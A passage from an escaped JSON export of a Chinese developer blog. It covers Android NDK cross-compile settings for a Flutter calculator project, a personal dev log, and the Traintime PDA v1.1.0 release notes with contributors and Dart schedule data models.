class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e21-clang\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eAS\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nv\"\u003e$CC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eCXX\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/a\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-clang++\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eCXXCPP\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/clang -E\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e flutter build apk --split-per-abi --target-platform\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意上面提到的\u003ccode\u003eclang -E\u003c/code\u003e,这是C语言的预处理器,一定要设置,否则 GMP 库的 configure 步骤无法通过。同时这样构建的库是风险引入编译器产生的 bug。因为 GMP 使用了大量的汇编,也许会导致编译出来的产物有问题,但是目前交叉编译也没法测试啊:(\u003c/p\u003e\n\u003ch2 id=\"为啥我想写计算器\"\u003e为啥我想写计算器\u003c/h2\u003e\n\u003cp\u003e最近我很孤独,想找对象或者搭子啥的。很显然对于很不讨喜的我来说是比较困难的,于是最近每周我会喝一罐啤酒,反正“啤酒不算酒,就是白水嘛”。有一天晚上我知道了苹果在开发者大会上将平板上的计算器当作特性大加介绍,我对苹果一直以来对批判态度就又一次觉醒了。当然,用笔写完公式直接算很酷,但是计算器本身没啥特色啊。我就想用 Flutter 写个新计算器,顺便练手 ffi 插件到底咋搞的。\u003c/p\u003e\n\u003cp\u003e至于市面上目前太多的高级计算器,直接去 F-Droid 搜会有大量超级高级的计算器。所以为了独特一下,我想了东方萌妹子,AI 画图不算版权,大不了我自己练手画二次元画也不是不行,画饼,啥都能画()\u003c/p\u003e\n\u003cp\u003e最后来点杂乱的东西一览:\u003c/p\u003e\n\u003ch3 id=\"6月11日-0158\"\u003e6月11日 01:58\u003c/h3\u003e\n\u003cp\u003epda 下个彩蛋来了,直接集成科学计算器\u003cbr\u003e\n八成会写成 swiftui ,八成会是另一个程序,八成会仿照某卡西欧玩意,八成是两个模式:科学计算器ui或命令行模式,十成是gpl\u003cbr\u003e\n好想把 speedcrouch 给移植过来,不能碾压这玩意,除了笔迹\u003cbr\u003e\n画饼,咋画都行,我喝高了\u003c/p\u003e\n\u003ch3 id=\"7月7日-0130\"\u003e7月7日 01:30\u003c/h3\u003e\n\u003cp\u003e那个为了骂街苹果平板的破计算器终于有了想法:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e琪露诺的数学教室:简单科学计算,可能兼职 LaTeX 代码输出\u003c/li\u003e\n\u003cli\u003e灵梦汇率转换器(可能会有 FOSS - 非自由顾虑)\u003c/li\u003e\n\u003cli\u003e魔理沙物理转换器,就是第一个加个输入单位的方式?\u003c/li\u003e\n\u003cli\u003e幽幽子卡路里计算器(有这个必要吗)\u003c/li\u003e\n\u003cli\u003e小石头时间转换器\u003c/li\u003e\n\u003cli\u003e早苗积分极限计算器(这个更是说不好)\u003c/li\u003e\n\u003cli\u003exxx(这个真没想好)矩阵计算器(NumPlusPlus)的移植过来就好,估计唯一不用 ffi 的功能。\u003c/li\u003e\n\u003cli\u003exxx(某图书馆管理员)高级输入模式(用户自己看着办吧),兼职高级模式说明书和示例。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这些玩意基本上就是 Qalculator! 功能,想法就是把 libqalculator 搞成 ffi 让 Flutter 调用。用户界面基本可以大量参考现有案例,等写完了还得找点人花点玩意在上面,反正东方的玩意可以 GPL 。\u003c/p\u003e\n\u003ch3 id=\"7月10日-0058\"\u003e7月10日 00:58\u003c/h3\u003e\n\u003cp\u003e今天被 cmake 气炸\u003c/p\u003e\n\u003ch3 id=\"7月11日-0120\"\u003e7月11日 01:20\u003c/h3\u003e\n\u003cp\u003e两个问题:\u003cbr\u003e\n为啥计算器不是法国人发明的,数学库都是他们写的,数学理论大多也是他们搞的\u003cbr\u003e\n为啥 clang 那么想装成 gcc 招摇过市\u003c/p\u003e\n\u003ch3 id=\"7月12日-0003\"\u003e7月12日 00:03\u003c/h3\u003e\n\u003cp\u003e费了一周时间后,我放弃了 cmake\u003cbr\u003e\n然后被迫被 rust 同化\u003cbr\u003e\n然后原型机出来了\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/cmcalc-develop-log-1.html"},{"title":"Traintime PDA v1.1.0 版本发行概要","time":"2024-03-23T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v1.1.0 版本发行概要\" /\u003e\u003cp\u003eTraintime PDA v0.4.6 和 v1.0.0 差别只有桌面小部件;而 v1.1.0 和 v1.0.0 除了日程表的差别,就是为了新学期必将出现的流汗黄豆瞬间而做了一部分修改。\u003c/p\u003e\n\u003cp\u003e现这个程序终于搞完了,我可以搞点别的事情了。\u003c/p\u003e\n\u003cp\u003e本发行概要,将对本程序开发以来,遇到的所有技术要点,进行总结。所以,很多东西我将照抄我之前版本的发行概要。同时,我也将之前发行概要的小前言放在下面,可能为了语序,有些修改。\u003c/p\u003e\n\u003ch2 id=\"自发布后的版本更新概要\"\u003e自发布后的版本更新概要\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ev0.1.0:第一个稳定版本\u003c/li\u003e\n\u003cli\u003ev0.2.0:空闲教室查看功能;移除西电目录,使用电话本代替;很多的 WebView 功能;应某个工作室请求,我写了个双创需求大厅;顺利上架 F-Droid\u003c/li\u003e\n\u003cli\u003ev0.3.0:iOS 版本添加吉祥物;应用内信息\u003c/li\u003e\n\u003cli\u003ev0.4.0:物理实验查看功能\u003c/li\u003e\n\u003cli\u003ev0.4.1:iCalendar 导出课表\u003c/li\u003e\n\u003cli\u003ev0.4.2:用户添加自定义课程功能\u003c/li\u003e\n\u003cli\u003ev0.4.3:滑块验证码适配\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003ev0.4.4:版本跳过,数字不吉利\u003c/del\u003e\u003c/li\u003e\n\u003cli\u003ev0.4.5:异步加载功能\u003c/li\u003e\n\u003cli\u003ev0.4.6:新的卡片设计\u003c/li\u003e\n\u003cli\u003ev1.0.0:桌面小部件\u003c/li\u003e\n\u003cli\u003ev1.1.0:桌面小部件完善;移除打卡功能;课程表升级为日程表\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"贡献者名单一览\"\u003e贡献者名单一览\u003c/h2\u003e\n\u003cp\u003e现在基本写完了,正好是致谢贡献者的时候了。\n以下名单包括任何在代码库留下痕迹的人,以及给过我设计稿的人。更加详细的请看代码仓库的\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/setting/about_page/about_page.dart\" target=\"_blank\" rel=\"noopener\"\n \u003e这个文件\u003c/a\u003e。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e功能\u003c/th\u003e\n\u003cth\u003e贡献者\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e最佳\u0026amp;最久故障反馈者\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/BellssGit\" target=\"_blank\" rel=\"noopener\"\n \u003eBellssGit\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e主页,登录页,配色,iOS 小部件等\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/BrackRat\" target=\"_blank\" rel=\"noopener\"\n \u003eBrackRat\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e滑块验证码位移量修复\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/chitao1234\" target=\"_blank\" rel=\"noopener\"\n \u003echitao1234\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e辅助修复滑块问题\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/Dimole\" target=\"_blank\" rel=\"noopener\"\n \u003eDimole\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e体育页面设计\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://space.bilibili.com/49892391/\" target=\"_blank\" rel=\"noopener\"\n \u003eEliteWars\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDYou 图标设计\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://node.kg.qq.com/personal?uid=669e9a84212d348f\" target=\"_blank\" rel=\"noopener\"\n \u003e木生睡不着\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e卡片设计稿 \u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/public_widget/re_x_card.dart\" target=\"_blank\" rel=\"noopener\"\n \u003eRe_X_Card.dart\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/Reverier-Xu\" target=\"_blank\" rel=\"noopener\"\n \u003eReverier-Xu\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDYou 开屏图,支持 iOS 开发\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://ray.al\" target=\"_blank\" rel=\"noopener\"\n \u003eRay\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e首页时间轴卡片,异步加载\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/stalomeow\" target=\"_blank\" rel=\"noopener\"\n \u003estalomeow\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDU Planet \u0026amp; 设置页面\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://mxts.jiujiuer.xyz\" target=\"_blank\" rel=\"noopener\"\n \u003exeonds\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eAndroid 小部件,原生和 Flutter 端拼接代码\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/Xiue233\" target=\"_blank\" rel=\"noopener\"\n \u003eXiue233\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e丁香电费修复\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/ZCWzy\" target=\"_blank\" rel=\"noopener\"\n \u003eZCWzy\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e欢迎各位有想法的参与开发~\u003c/p\u003e\n\u003ch2 id=\"版本号对应歌曲简介\"\u003e版本号对应歌曲简介\u003c/h2\u003e\n\u003cp\u003e主要在彩蛋里面,大家可以多去听听:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e版本号\u003c/th\u003e\n\u003cth\u003e歌曲\u003c/th\u003e\n\u003cth\u003e作者\u003c/th\u003e\n\u003cth\u003e专辑 - 发行年份 - 发行商\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.0\u003c/td\u003e\n\u003ctd\u003eDreams Never End\u003c/td\u003e\n\u003ctd\u003eNew Order\u003c/td\u003e\n\u003ctd\u003eMovement - 1980 - Factory\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.1\u003c/td\u003e\n\u003ctd\u003eTequila Sunrise\u003c/td\u003e\n\u003ctd\u003eThe Eagles\u003c/td\u003e\n\u003ctd\u003eDesperado - 1973 - Asylum\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.3\u003c/td\u003e\n\u003ctd\u003eSupertzar / Symptom of the Universe\u003c/td\u003e\n\u003ctd\u003eBlack Sabbath\u003c/td\u003e\n\u003ctd\u003eSabotage - 1975 - Vertigo\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.5\u003c/td\u003e\n\u003ctd\u003eTemple of the King / Catch the Rainbow\u003c/td\u003e\n\u003ctd\u003eRainbow\u003c/td\u003e\n\u003ctd\u003eRitchie Blackmore\u0026rsquo;s Rainbow - 1975 - Oyster\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.6\u003c/td\u003e\n\u003ctd\u003eThe Perfect Kiss\u003c/td\u003e\n\u003ctd\u003eNew Order\u003c/td\u003e\n\u003ctd\u003eLow-Life - 1985 - Factory\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e1.0.0\u003c/td\u003e\n\u003ctd\u003eRipples\u0026hellip;\u003c/td\u003e\n\u003ctd\u003eGenesis\u003c/td\u003e\n\u003ctd\u003eA Trick of the Tail - 1975 - Charisma\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"新的日程表简介\"\u003e新的日程表简介\u003c/h2\u003e\n\u003cp\u003e(来自 v0.1.0 发行概要,原先内容作废)\u003c/p\u003e\n\u003cp\u003e日程表集合了原先的课表,同时我加上了考试信息和物理实验信息。为了更加方便显示,只能引入午休和晚饭时间,并将一天结束时间定在21:25。另外,很久之前糊上去的数组也没了,改成了类似\u003ca class=\"link\" href=\"https://pub.dev/packages/calendar_view\" target=\"_blank\" rel=\"noopener\"\n \u003eflutter_calendar_view\u003c/a\u003e这样,按照连续时间来创建日程卡片。如果这个功能可以彻底和 PDA 解耦合,并将其用于其他的项目,这也许将是能够击败任何闭源课表的无敌存在(bushi)\u003c/p\u003e\n\u003cp\u003e这个实际上是我最开始写 PDA 的动机,很简单,一个页面显示所有跟我们学业相关的所有信息,不香吗?之前那个程序早期版本是彻底割裂的,后来也是仅仅在主页上搞了仨按钮,一个课表、一个考试、一个物理实验。其中后俩还是在明天/接下来有状况的状况下才有,总觉得有种割裂的美。\u003c/p\u003e\n\u003ch3 id=\"课程信息数据模型介绍\"\u003e课程信息数据模型介绍\u003c/h3\u003e\n\u003cp\u003e此处只介绍课程表相关的信息,文件在\u003ccode\u003elib/model/xidian_ids/classtable.dart\u003c/code\u003e。关于考试信息,请看\u003ccode\u003elib/model/xidian_ids/exam.dart\u003c/code\u003e;关于物理实验信息,请看\u003ccode\u003elib/model/xidian_ids/experiment.dart\u003c/code\u003e。\u003c/p\u003e\n\u003ch4 id=\"课程信息\"\u003e课程信息\u003c/h4\u003e\n\u003cp\u003e包括课程名称及序号,和班级序号。其中只有课程名称是必须填入的,课程序号和班级序号是可选项。\u003c/p\u003e\n\u003cp\u003e这主要是用来标识课程名称的,为接下来的时间安排部分铺路。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 班级序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"时间安排\"\u003e时间安排\u003c/h4\u003e\n\u003cp\u003e包括以下部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程索引:课程信息在课程信息数组中的位置。下面我将介绍课程信息数组。\u003c/li\u003e\n\u003cli\u003e数据来源:在 PDA 中,有教务系统获取的课程,有用户添加的课程。这两类信息分别是保存在两个不同的课程信息数组的,这里用一个枚举类型\u003ccode\u003eSource\u003c/code\u003e变量来表示区别。\u003c/li\u003e\n\u003cli\u003e上课周次:一个布尔变量的数组,长度一定程度上代表了该学期的长度。从第一周开始,该周有课是\u003ccode\u003etrue\u003c/code\u003e,否则是\u003ccode\u003efalse\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e星期几上课,第几节上课,第几节下课:分别使用一个\u003ccode\u003eint\u003c/code\u003e变量表示。请注意这里是将一天分成十节课来处理的,课程时间参见文件。星期几上课根据学校后端返回数据,从 1 开始,代表星期一。\u003c/li\u003e\n\u003cli\u003e可选教师信息:这个时间安排应该由谁上课,由于涉及到调课改变老师的因素,故在这里储存。\u003c/li\u003e\n\u003cli\u003e可选教室信息:上课地点信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里解释上课周次中“一定程度”的意义。实际使用中,大多数数据确实能符合这个情况,但很显然,会有很多的例外。我有个活跃用户,他有个课叫金工实习,那个课程的上课周次数组元素比其他的多 5 个,导致最后课表有很多的空白页面。这里讲道理,很无语,但暂时没有好办法解决。\u003c/p\u003e\n\u003cp\u003e另外有一个引申变量:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e上课长度:下课时间减去上课时间的长度,用于渲染课程表。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e另附数据来源里面提到的枚举类型变量。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eenum\u003c/span\u003e \u003cspan class=\"n\"\u003eSource\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eempty\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eschool\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003euser\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以及上课时间安排数组,交替上课开始时间和结束时间。比如第一个元素是第一节课的上课时间,第二个元素是第一节课的下课时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;8:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:20\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:05\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:25\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:10\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;12:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:50\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:40\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;17:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 